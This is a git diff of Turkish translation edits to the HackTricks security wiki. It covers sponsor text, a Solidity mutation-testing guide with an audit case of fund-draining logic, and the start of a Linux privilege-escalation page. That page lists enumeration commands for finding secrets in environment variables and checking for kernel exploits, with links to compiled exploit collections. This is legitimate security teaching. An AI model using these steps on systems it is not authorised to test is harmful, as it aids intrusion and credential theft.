diff --git a/src/README.md b/src/README.md
index 9ffc64c95..939ad40cb 100644
--- a/src/README.md
+++ b/src/README.md
@@ -2,7 +2,7 @@
-_Hacktricks logoları ve motion tasarımı_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
+_Hacktricks logoları ve hareketli tasarım tarafından_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### HackTricks'i Yerel Olarak Çalıştır
```bash
@@ -31,7 +31,7 @@ export LANG="master" # Leave master for english
# Run the docker container indicating the path to the hacktricks folder
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
-Yerel HackTricks kopyanız **[http://localhost:3337](http://localhost:3337)** adresinde 5 dakikadan kısa bir sürede kullanılabilir olacaktır (kitabı derlemesi gerekiyor, sabırlı olun).
+Your local copy of HackTricks will be **available at [http://localhost:3337](http://localhost:3337)** after <5 minutes (it needs to build the book, be patient).
## Kurumsal Sponsorlar
@@ -39,11 +39,11 @@ Yerel HackTricks kopyanız **[http://localhost:3337](http://localhost:3337)** ad
-[**STM Cyber**](https://www.stmcyber.com) araştırma yapan ve kendi saldırı araçlarını geliştiren harika bir siber güvenlik şirketidir; sloganları **HACK THE UNHACKABLE**. Pentesting, Red teams ve eğitim gibi **birçok değerli siber güvenlik hizmeti sunarlar**.
+[**STM Cyber**](https://www.stmcyber.com) harika bir siber güvenlik şirketidir; sloganı **HACK THE UNHACKABLE**. Kendi araştırmalarını yaparlar ve kendi hacking araçlarını geliştirirler; pentesting, Red teams ve eğitim gibi çeşitli değerli siber güvenlik hizmetleri sunarlar.
-Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinden inceleyebilirsiniz.
+You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
-**STM Cyber** ayrıca HackTricks gibi açık kaynaklı siber güvenlik projelerini destekliyor :)
+**STM Cyber** ayrıca HackTricks gibi siber güvenlik açık kaynak projelerini destekliyor :)
---
@@ -51,7 +51,7 @@ Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresind
-[**RootedCON**](https://www.rootedcon.com) **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilginin yayılmasını teşvik etme misyonu** ile bu kongre her disiplinden teknoloji ve siber güvenlik uzmanları için kaynayan bir buluşma noktasıdır.
+[**RootedCON**](https://www.rootedcon.com) **İspanya**'daki en önemli siber güvenlik etkinliğidir ve **Avrupa**'nın en önemli etkinliklerinden biridir. Teknik bilginin teşvik edilmesi misyonuyla bu kongre, her disiplininden teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{{#ref}}
https://www.rootedcon.com/
@@ -63,9 +63,9 @@ https://www.rootedcon.com/
-**Intigriti**, Avrupa'nın #1 ethical hacking ve bug bounty platformudur.
+**Intigriti** Avrupa'nın #1 ethical hacking ve **bug bounty platform**'udur.
-**Bug bounty ipucu**: Hackers tarafından, hackerlar için oluşturulmuş premium bir bug bounty platformu olan **Intigriti**'ye **kaydolun**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
+**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{{#ref}}
https://go.intigriti.com/hacktricks
@@ -78,9 +78,9 @@ https://go.intigriti.com/hacktricks
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca kurmak ve otomatikleştirmek için [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanın.
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve **otomatikleştirin**.
-Bugün Erişim Alın:
+Get Access Today:
{{#ref}}
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
@@ -92,13 +92,13 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
-Deneyimli hackerlar ve bug bounty avcılarıyla iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
+Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
-- **Hacking Insights:** Hacklemenin heyecanı ve zorluklarına dair içeriğe katılın
-- **Real-Time Hack News:** Hızla değişen hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
-- **Latest Announcements:** Yeni açılan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
+- **Hacking Insights:** hacking'in getirdiği heyecan ve zorlukları ele alan içeriklerle etkileşime girin
+- **Real-Time Hack News:** gerçek zamanlı haberler ve içgörülerle hızlı değişen hacking dünyasından haberdar olun
+- **Latest Announcements:** yeni başlayan bug bounty programları ve önemli platform güncellemeleri hakkında bilgi sahibi olun
-**Bize [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden katılın** ve bugün en iyi hackerlarla işbirliğine başlayın!
+**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
---
@@ -106,9 +106,9 @@ Deneyimli hackerlar ve bug bounty avcılarıyla iletişim kurmak için [**Hacken
-**Web uygulamalarınız, ağınız ve cloud** hakkında bir hacker bakış açısı edinin
+**Get a hacker's perspective on your web apps, network, and cloud**
-**Gerçek iş etkisi olan kritik, sömürülebilir zafiyetleri bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalık yükseltmeye izin veren güvenlik sorunlarını bulmak ve otomatik exploitlerle gerekli delilleri toplamak için 20+ özel aracımızı kullanın; bu sayede sıkı çalışmanız ikna edici raporlara dönüşür.
+**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@@ -120,14 +120,14 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
-**SerpApi**, arama motoru sonuçlarına gerçek zamanlı erişim için hızlı ve kolay API'ler sunar. Search engine sonuçlarını kazır, proxy'leri yönetir, captchaları çözer ve sizin için tüm zengin yapılandırılmış verileri ayrıştırır.
+**SerpApi** hızlı ve kolay gerçek zamanlı API'ler sunar; search engine results erişimi sağlar. Search engine'leri scrape ederler, proxy'lerle uğraşır, captcha çözerler ve tüm zengin yapılandırılmış verileri sizin için parse ederler.
-SerpApi aboneliği, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlası dahil olmak üzere farklı arama motorlarını kazımak için 50'den fazla API'ye erişim içerir.\
-Diğer sağlayıcılardan farklı olarak, **SerpApi sadece organik sonuçları kazımıyor**. SerpApi cevapları tutarlı şekilde tüm reklamları, gömülü görselleri ve videoları, knowledge graph'ları ve arama sonuçlarında bulunan diğer öğe ve özellikleri içerir.
+SerpApi’nin planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlası dahil olmak üzere farklı arama motorlarını kazımak için 50'den fazla farklı API erişimini içerir.\
+Diğer sağlayıcılardan farklı olarak, **SerpApi sadece organic results kazımaz**. SerpApi yanıtları tutarlı olarak tüm reklamları, inline görüntüleri ve videoları, bilgi grafikleri ve arama sonuçlarında bulunan diğer öğe ve özellikleri içerir.
Mevcut SerpApi müşterileri arasında **Apple, Shopify ve GrubHub** bulunuyor.\
-Daha fazla bilgi için [**blog**](https://serpapi.com/blog/)**'larını** inceleyin veya örnek için [**playground**](https://serpapi.com/playground)'u deneyin.\
-**Ücretsiz bir hesap oluşturabilirsiniz** [**buradan**](https://serpapi.com/users/sign_up)**.**
+Daha fazla bilgi için [**blog**](https://serpapi.com/blog/)**'larına** göz atın, veya örnek bir uygulamayı [**playground**](https://serpapi.com/playground)**'ta** deneyin.\
+You can **create a free account** [**here**](https://serpapi.com/users/sign_up)**.**
---
@@ -135,7 +135,7 @@ Daha fazla bilgi için [**blog**](https://serpapi.com/blog/)**'larını** incele
-Mobil uygulamaları ve cihazları korumak için zafiyet araştırması, penetration testing ve reverse engineering yapmak için gereken teknolojileri ve becerileri öğrenin. On-demand kurslarımızla **iOS ve Android güvenliğini uzmanlaşın** ve **sertifika alın**:
+Mobil uygulamaları ve cihazları korumak için gerekli olan teknolojileri ve becerileri öğrenin: vulnerability research, penetration testing ve reverse engineering yapmayı öğrenin. **iOS ve Android güvenliğinde ustalaşın** on-demand kurslarımızla ve **sertifika alın**:
{{#ref}}
https://academy.8ksec.io/
@@ -147,13 +147,13 @@ https://academy.8ksec.io/
-[**WebSec**](https://websec.net) **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **dünyanın dört bir yanında** işletmeleri en son siber güvenlik tehditlerine karşı korumaya yardımcı olur; **offensive-security hizmetleri** sunarak modern bir yaklaşım benimser.
+[**WebSec**](https://websec.net) **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **modern** bir yaklaşımla işletmeleri dünyadaki en son siber güvenlik tehditlerine karşı korumaya yardımcı olur; offensive-security services sağlar.
-WebSec, Amsterdam ve Wyoming'de ofisleri bulunan uluslararası bir güvenlik şirketidir. Hepsi bir arada güvenlik hizmetleri sunarlar; yani her şeyi yaparlar: Pentesting, **Security** Denetimleri, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing ve çok daha fazlası.
+WebSec, Amsterdam ve Wyoming'de ofisleri olan uluslararası bir güvenlik şirketidir. Hepsi bir arada security services sunarlar; yani her şeyi yaparlar: Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing ve daha fazlası.
-WebSec hakkında başka güzel bir şey ise sektör ortalamasının aksine WebSec'in **yeteneklerine çok güvenmesi**, öyle ki **en kaliteli sonuçları garanti ediyorlar**, web sitelerinde şu ifade yer alıyor: "**If we can't hack it, You don't pay it!**". Daha fazla bilgi için [**web sitesi**](https://websec.net/en/) ve [**blog**](https://websec.net/blog/)'larına göz atın!
+WebSec hakkında başka güzel bir şey de, sektör ortalamasının aksine WebSec'in **becerilerine çok güvenmesi**; bu güven o kadar ileri gidiyor ki **en iyi kalite sonuçlarını garanti ediyorlar**, sitelerinde şöyle yazıyor: "**If we can't hack it, You don't pay it!**". Daha fazla bilgi için [**website**](https://websec.net/en/) ve [**blog**](https://websec.net/blog/)'larına bakın!
-Ayrıca WebSec, HackTricks'in de **adana destekçilerinden** biridir.
+Bunun yanı sıra WebSec, HackTricks'in de **kararlı bir destekçisidir.**
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
@@ -166,9 +166,9 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) bir data breach (leak) arama motorudur. \
-Büyük ve küçük her türlü veri sızıntısı üzerinde rasgele string araması (google gibi) sağlıyoruz --sadece büyük sızıntılar değil-- birden fazla kaynaktan gelen veriler üzerinde. \
-Kişi aramaları, AI aramaları, organizasyon aramaları, API (OpenAPI) erişimi, theHarvester entegrasyonu; bir pentester'ın ihtiyaç duyduğu tüm özellikler.\
-**HackTricks bizim için harika bir öğrenme platformu olmaya devam ediyor ve onu desteklemekten gurur duyuyoruz!**
+Tüm türdeki data leaks üzerinde rasgele string araması (Google gibi) sağlıyoruz -- sadece büyükleri değil -- birden çok kaynaktan gelen veriler üzerinde. \
+People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, pentester'ın ihtiyaç duyduğu tüm özellikler.\
+**HackTricks continues to be a great learning platform for us all and we're proud to be sponsoring it!**
{{#ref}}
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@@ -181,13 +181,13 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
-**Saha için tasarlandı. Sizin etrafınızda şekillendi.**\
-[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks), sektör uzmanları tarafından oluşturulan ve yönetilen etkili siber güvenlik eğitimleri geliştirir ve sunar. Programları teorinin ötesine geçer ve ekipleri gerçek dünya tehditlerini yansıtan özel ortamlar kullanarak derin anlayış ve uygulanabilir becerilerle donatır. Özel eğitim talepleri için bize [**buradan**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks) ulaşın.
+**Built for the field. Built around you.**\
+[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) sektör uzmanları tarafından oluşturulan ve yönetilen etkili siber güvenlik eğitimleri geliştiren ve sunan bir kuruluştur. Programları teori ötesine geçer ve ekipleri gerçek dünyadaki tehditleri yansıtan özel ortamlar kullanarak derin anlayış ve uygulanabilir becerilerle donatır. Özel eğitim talepleri için bize [**buradan**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks) ulaşın.
**Eğitimlerini farklı kılanlar:**
-* Özel hazırlanmış içerik ve laboratuvarlar
-* Üst düzey araç ve platformlarla desteklenir
-* Uygulayıcılar tarafından tasarlanır ve verilir
+* Özel hazırlanmış içerik ve lablar
+* Üst düzey araçlar ve platformlarla desteklenir
+* Uygulayıcılar tarafından tasarlanır ve öğretilir
{{#ref}}
https://cyberhelmets.com/courses/?ref=hacktricks
@@ -199,13 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
-Last Tower Solutions, **Eğitim** ve **FinTech** kurumları için uzmanlaşmış siber güvenlik hizmetleri sunar; odak alanları arasında **penetration testing, cloud security assessments** ve **compliance readiness** (SOC 2, PCI-DSS, NIST) bulunur. Ekibimizde **OSCP ve CISSP sertifikalı profesyoneller** yer almakta olup, her görevde derin teknik uzmanlık ve endüstri standardı içgörüsü sağlar.
+Last Tower Solutions, **Eğitim** ve **FinTech** kurumlarına yönelik uzmanlaşmış siber güvenlik hizmetleri sunar; odak noktası **penetration testing, cloud security assessments** ve **compliance readiness** (SOC 2, PCI-DSS, NIST) hizmetleridir. Ekibimizde **OSCP ve CISSP sertifikalı profesyoneller** bulunur ve her görevde derin teknik uzmanlık ve sektör standardı içgörüsü sağlar.
-Otomatik taramaların ötesine geçip yüksek riskli ortamlara özel **manuel, istihbarat odaklı testler** yapıyoruz. Öğrenci kayıtlarını güvence altına almaktan finansal işlemleri korumaya kadar, kuruluşların en çok önem verdikleri varlıkları savunmalarına yardımcı oluyoruz.
+Otomatik taramaların ötesine geçiyoruz ve yüksek riskli ortamlara özel, istihbarat odaklı manuel testler gerçekleştiriyoruz. Öğrenci kayıtlarını güvence altına almadan finansal işlemleri korumaya kadar, kuruluşların en değerli varlıklarını savunmalarına yardımcı oluyoruz.
-_“Kaliteli bir savunma için saldırıyı bilmek gerekir, biz anlayışla güvenlik sağlıyoruz.”_
+_“A quality defense requires knowing the offense, we provide security through understanding.”_
-Siber güvenlikteki en son gelişmeleri takip etmek için [**blog**](https://www.lasttowersolutions.com/blog)'larını ziyaret edin.
+Siber güvenlikteki en son gelişmelerden haberdar olmak için [**blog**](https://www.lasttowersolutions.com/blog) sayfalarını ziyaret edin.
{{#ref}}
https://www.lasttowersolutions.com/
@@ -215,11 +215,11 @@ https://www.lasttowersolutions.com/
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
-
+
-K8Studio IDE, DevOps, DevSecOps ve geliştiricilerin Kubernetes cluster'larını verimli bir şekilde yönetmelerini, izlemelerini ve güvenliklerini sağlamalarını güçlendirir. AI destekli içgörülerimizden, gelişmiş güvenlik çerçevemizden ve CloudMaps GUI'mizden yararlanarak cluster'larınızı görselleştirin, durumlarını anlayın ve güvenle hareket edin.
+K8Studio IDE, DevOps, DevSecOps ve geliştiricilerin Kubernetes kümelerini verimli şekilde yönetmelerini, izlemelerini ve güvenli hale getirmelerini sağlar. AI destekli içgörülerimizden, gelişmiş güvenlik çerçevemizden ve sezgisel CloudMaps GUI'mizden faydalanarak kümelerinizi görselleştirin, durumlarını anlayın ve güvenle işlem yapın.
-Ayrıca K8Studio, tüm büyük kubernetes dağıtımlarıyla **uyumludur** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift ve daha fazlası).
+Ayrıca K8Studio, **tüm ana kubernetes dağıtımlarıyla uyumludur** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
{{#ref}}
https://k8studio.io/
@@ -228,9 +228,9 @@ https://k8studio.io/
---
-## Lisans & Feragatname
+## Lisans & Feragat
-Bunları inceleyin:
+Check them in:
{{#ref}}
welcome/hacktricks-values-and-faq.md
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index 6d276923d..561fe52fb 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -950,4 +950,4 @@
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
-- [Cookies Policy](todo/cookies-policy.md)
\ No newline at end of file
+- [Cookies Policy](todo/cookies-policy.md)
diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
index 890388360..78dfbb512 100644
--- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
+++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
@@ -4,11 +4,11 @@
Mutation testing "tests your tests" by systematically introducing small changes (mutants) into your Solidity code and re-running your test suite. If a test fails, the mutant is killed. If the tests still pass, the mutant survives, revealing a blind spot in your test suite that line/branch coverage cannot detect.
-Ana fikir: Coverage, kodun çalıştırıldığını gösterir; mutation testing ise davranışın gerçekten doğrulandığını gösterir.
+Key idea: Coverage shows code was executed; mutation testing shows whether behavior is actually asserted.
-## Neden coverage yanıltıcı olabilir
+## Neden coverage aldatıcı olabilir
-Basit bir eşik kontrolünü düşünün:
+Bu basit eşik kontrolünü düşünün:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
@@ -18,22 +18,22 @@ return false;
}
}
```
-Birim testleri yalnızca eşik değerinin altında bir değeri ve üzerinde bir değeri kontrol ediyorsa, equality boundary (==) eşitliğini doğrulamadan %100 line/branch coverage elde edebilir. `deposit >= 2 ether` şeklinde yapılacak bir refactor bu testleri yine geçer ve protokol mantığını sessizce bozabilir.
+Birim testleri sadece eşik değerin altındaki ve üstündeki bir değeri kontrol ediyorsa, eşitlik sınırını (==) doğrulamadan %100 satır/branch kapsamına ulaşabilir. `deposit >= 2 ether` şeklinde yapılan bir refactor yine bu testleri geçer ve protokol mantığını sessizce bozabilir.
-Mutation testing, koşulu değiştirip testlerinizin başarısız olduğunu doğrulayarak bu boşluğu ortaya çıkarır.
+Mutasyon testi, koşulu değiştirerek ve testlerinizin başarısız olduğunu doğrulayarak bu boşluğu açığa çıkarır.
## Yaygın Solidity mutasyon operatörleri
-Slither’in mutasyon motoru, semantiği değiştiren birçok küçük düzenleme uygular, örneğin:
+Slither’s mutation engine birçok küçük, semantik değiştiren düzenleme uygular, örneğin:
- Operatör değiştirme: `+` ↔ `-`, `*` ↔ `/`, vb.
- Atama değiştirme: `+=` → `=`, `-=` → `=`
- Sabit değiştirme: sıfır olmayan → `0`, `true` ↔ `false`
-- `if`/loop içindeki koşulun tersine çevrilmesi/değiştirilmesi
+- `if`/döngüler içinde koşulun tersine çevrilmesi/değiştirilmesi
- Tüm satırları yorum satırı haline getirme (CR: Comment Replacement)
- Bir satırı `revert()` ile değiştirme
- Veri tipi değişimleri: örn., `int128` → `int64`
-Hedef: Oluşturulan mutantların %100'ünün testler tarafından tespit edilip başarısızlığa yol açmasının sağlanması veya hayatta kalanlar için net gerekçe sunulması.
+Amaç: Oluşturulan mutantların %100'ünü etkisiz kılmak; hayatta kalanları ise açık gerekçelerle savunmak.
## slither-mutate ile mutasyon testi çalıştırma
@@ -48,66 +48,66 @@ slither-mutate --list-mutators
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
-- Eğer Foundry kullanmıyorsanız, `--test-cmd`'i testleri nasıl çalıştırıyorsanız onunla değiştirin (örneğin, `npx hardhat test`, `npm test`).
+- Eğer Foundry kullanmıyorsanız, `--test-cmd` ile testleri çalıştırma komutunuzu değiştirin (ör. `npx hardhat test`, `npm test`).
-Artefaktlar ve raporlar varsayılan olarak `./mutation_campaign` dizinine kaydedilir. Yakalanmamış (hayatta kalan) mutantlar inceleme için oraya kopyalanır.
+Artefaktlar ve raporlar varsayılan olarak `./mutation_campaign` içinde saklanır. Yakalanmamış (hayatta kalan) mutantlar inceleme için oraya kopyalanır.
-### Çıktıyı anlamak
+### Çıktıyı Anlama
Rapor satırları şu şekilde görünür:
```text
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
-- Köşeli parantez içindeki etiket mutatör takma adıdır (örn., `CR` = Comment Replacement).
-- `UNCAUGHT` mutasyona uğramış davranış altında testlerin geçtiği anlamına gelir → eksik assertion.
+- Köşeli parantez içindeki etiket mutator takma adıdır (örn., `CR` = Comment Replacement).
+- `UNCAUGHT` mutasyona uğramış davranış altında testlerin geçtiği anlamına gelir → eksik doğrulama.
-## Reducing runtime: prioritize impactful mutants
+## Çalışma süresini azaltma: etkili mutantlara öncelik verin
Mutasyon kampanyaları saatler veya günler sürebilir. Maliyeti azaltmak için ipuçları:
-- Scope: Önce yalnızca kritik contracts/directories ile başlayın, sonra genişletin.
-- Prioritize mutators: Eğer bir satırdaki yüksek öncelikli bir mutant hayatta kalırsa (örn., tüm satır yorum haline gelmiş), o satır için düşük öncelikli varyantları atlayabilirsiniz.
-- Parallelize tests if your runner allows it; cache dependencies/builds.
-- Fail-fast: bir değişiklik açıkça bir assertion boşluğunu gösterdiğinde erken durdurun.
+- Kapsam: Önce sadece kritik sözleşmeler/dizinlerle başlayın, sonra genişletin.
+- Mutators'a öncelik verin: Bir satırdaki yüksek öncelikli bir mutant hayatta kalırsa (örn., tüm satır yorum satırı yapıldı), o satır için daha düşük öncelikli varyantları atlayabilirsiniz.
+- Runner'ınız izin veriyorsa testleri paralelleştirin; bağımlılıkları/derlemeleri önbelleğe alın.
+- Fail-fast: bir değişiklik açıkça bir doğrulama boşluğunu gösterdiğinde erken durun.
-## Triage workflow for surviving mutants
+## Hayatta kalan mutantlar için triage iş akışı
-1) Mutasyona uğramış satırı ve davranışı inceleyin.
-- Mutasyona uğramış satırı uygulayıp yerelde odaklanmış bir test çalıştırarak yeniden üretin.
+1) Mutasyon uygulanmış satırı ve davranışı inceleyin.
+- Mutasyonlu satırı uygulayıp odaklanmış bir test çalıştırarak yerelde yeniden üretin.
-2) Testleri sadece dönüş değerlerini değil durumu assert edecek şekilde güçlendirin.
-- Eşitlik-sınır kontrolleri ekleyin (örn., test threshold `==`).
-- Post-koşulları assert edin: bakiyeler, total supply, yetkilendirme etkileri ve emit edilen event'ler.
+2) Testleri sadece dönüş değerlerini değil, durumu doğrulayacak şekilde güçlendirin.
+- Eşitlik-sınır kontrolleri ekleyin (örn., eşik için `==` testi).
+- Post-koşulları doğrulayın: bakiyeler, toplam arz, yetkilendirme etkileri ve yayılan olaylar.
-3) Aşırı izin veren mock'ları gerçekçi davranışlarla değiştirin.
-- Mock'ların on-chain gerçekleşen transferleri, hata yollarını ve event emit'lerini zorladığından emin olun.
+3) Aşırı izin verici mock'ları gerçekçi davranışlarla değiştirin.
+- Mock'ların on-chain gerçekleşen transferleri, hata yollarını ve olay yayınlarını zorunlu kıldığından emin olun.
4) Fuzz testleri için invariant'lar ekleyin.
-- Örn., değer korunumu, negatif olmayan bakiyeler, yetkilendirme invariant'ları, uygulanabiliyorsa monoton supply.
+- Örn., değer korunumu, negatif olmayan bakiyeler, yetkilendirme invariantları, uygulanabilir yerlerde monoton arz.
-5) slither-mutate'i, hayatta kalanlar öldürülene veya açıkça gerekçelendirilene kadar yeniden çalıştırın.
+5) slither-mutate'i tekrar çalıştırın; hayatta kalanlar öldürülene kadar veya açıkça gerekçelendirene kadar.
-## Case study: revealing missing state assertions (Arkis protocol)
+## Vaka çalışması: eksik durum doğrulamalarını ortaya çıkarmak (Arkis DeFi protokolü)
-Arkis DeFi protokolünün bir audit sırasında yapılan bir mutasyon kampanyası şu tip hayatta kalanlar ortaya çıkardı:
+Arkis DeFi protokolünün bir denetimi sırasında yürütülen bir mutasyon kampanyası şu tür hayatta kalanları ortaya çıkardı:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
-Commenting out the assignment didn’t break the tests, proving missing post-state assertions. Root cause: code trusted a user-controlled `_cmd.value` instead of validating actual token transfers. An attacker could desynchronize expected vs. actual transfers to drain funds. Result: high severity risk to protocol solvency.
+Atamanın yorum satırı haline getirilmesi testleri bozmadı; bu, son durum doğrulamalarının eksik olduğunu gösteriyor. Kök neden: kod, gerçek token transferlerini doğrulamak yerine kullanıcı kontrollü `_cmd.value`'ya güveniyordu. Bir saldırgan, beklenen ile gerçek transferleri senkronize etmeyerek fonları boşaltabilir. Sonuç: protokolün solventliği için yüksek risk.
-Guidance: Treat survivors that affect value transfers, accounting, or access control as high-risk until killed.
+Guidance: değer transferlerini, muhasebeyi veya erişim kontrolünü etkileyen survivors'ları killed edilene kadar yüksek risk olarak değerlendirin.
## Pratik kontrol listesi
-- Hedefe yönelik bir kampanya çalıştırın:
+- Hedefe yönelik bir kampanya yürütün:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
-- Survivor'ları önceliklendirin ve mutated davranış altında başarısız olacak testler/invariantler yazın.
-- Bakiye, supply, authorizations ve events'i assert edin.
-- Sınır testleri ekleyin (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
-- Gerçekçi olmayan mocks'ları değiştirin; failure modlarını simüle edin.
-- Tüm mutants öldürülene veya yorum ve gerekçe ile haklı çıkarılana kadar yineleyin.
+- Hayatta kalan mutantları sınıflandırın (triage) ve mutasyona uğramış davranışta başarısız olacak testler/invariant'lar yazın.
+- Bakiyeleri, supply'ı, yetkilendirmeleri ve event'leri doğrulayın.
+- Sınır testleri ekleyin (`==`, overflows/underflows, zero-address, zero-amount, boş diziler).
+- Gerçekçi olmayan mock'ları değiştirin; hata modlarını simüle edin.
+- Tüm mutantlar öldürülene (killed) veya yorumlar ve gerekçe ile haklı çıkarılana kadar yineleyin.
-## References
+## Kaynaklar
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index dd524103b..48cdeb7ff 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -6,7 +6,7 @@
### OS bilgisi
-Hadi çalışan OS hakkında bilgi edinmeye başlayalım
+Çalışan OS hakkında bazı bilgiler edinelim.
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@@ -14,28 +14,28 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
```
### Path
-Eğer **`PATH` değişkenindeki herhangi bir klasörde yazma iznine sahipseniz** bazı kütüphaneleri veya ikili dosyaları ele geçirebilirsiniz:
+Eğer **`PATH` değişkenindeki herhangi bir klasöre yazma izniniz** varsa bazı libraries veya binaries'leri hijack edebilirsiniz:
```bash
echo $PATH
```
-### Ortam bilgisi
+### Env bilgisi
-Ortam değişkenlerinde ilginç bilgiler, parolalar veya API anahtarları var mı?
+Env değişkenlerinde ilginç bilgiler, şifreler veya API anahtarları var mı?
```bash
(env || set) 2>/dev/null
```
### Kernel exploits
-Kernel sürümünü ve escalate privileges için kullanılabilecek exploit olup olmadığını kontrol edin.
+Kernel sürümünü kontrol edin ve escalate privileges için kullanılabilecek bir exploit olup olmadığını araştırın.
```bash
cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
-İyi bir açık kernel listesi ve bazı zaten **compiled exploits** burada bulabilirsiniz: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
-Diğer bazı **compiled exploits** bulabileceğiniz siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
+İyi bir zafiyetli kernel listesi ve bazı zaten **compiled exploits**'i şurada bulabilirsiniz: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
